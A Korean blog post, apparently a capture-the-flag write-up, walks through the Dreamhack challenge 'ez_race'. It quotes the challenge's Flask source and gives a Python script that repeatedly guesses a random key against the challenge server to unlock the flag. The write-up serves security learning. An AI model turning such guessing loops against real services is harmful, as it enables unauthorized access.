ez_race

2026. 2. 20. 19:18·Dreamhack 워게임/Lv.1
반응형

문제설명

3초 안에 키를 찾을 수 있나요?


코드분석

@app.route('/race')
def race():
    global getflag, key

    user_input_str = request.args.get('user')
    if user_input_str is None:
        return "Please use user parameter"

    try:
        userinput = int(user_input_str)
    except ValueError:
        return "ERROR"

    if userinput == key:
        getflag = 1
        return "WOW"
    else:
        time.sleep(3)
        key = random.randint(1, 100)
        return "NOPE"
  • 전역변수로 getflag, key 선언
  • 쿼리파라미터로 user 사용
  • 없으면 Please use user Parameter 출력 / 키랑 같으면 wow 아니면 Nope
@app.route('/flag')
def flag():
    global getflag   
    if getflag == 1:
        getflag = 0
        return f"FLAG IS {FLAG}"
    else:
        return "NOPE!!"
  • getflag == 1이 되면 플래그 나옴
  • 아니면 NOPE

익스플로잇

1 ~ 100까지 브루트 포싱하면 됨

다음과 같이 페이로드를 작성해줌

import requests, random

url1 = 'http://host3.dreamhack.games:8242/race'
url2 = 'http://host3.dreamhack.games:8242/flag'

cnt = 0
key = random.randint(1,100)

while True:
  cnt += 1
  payload = {'user' : key}
  print(f'[*] input cnt={cnt} , key={key}')
  res = requests.get(url1, params = payload)
  if 'WOW' in res.text:
    print(f'[+] found the key: {key} . Getting flag...')
    res = requests.get(url2)
    print(res.text)
    break

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

Fishing  (0) 2026.03.05
Really Not SQL  (0) 2026.02.23
Test Your Luck  (0) 2026.02.19
My Best Friend  (0) 2026.02.19
Hangul - Revenge  (0) 2026.02.19
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • Fishing
  • Really Not SQL
  • Test Your Luck
  • My Best Friend
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    cve
    DreamHack
    webstudy
    JavaScript
    hacking
    alpacahack
    xss
    JS
    드림핵
    LLM
    CSRF
    webhacking
    web
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
ez_race
상단으로

티스토리툴바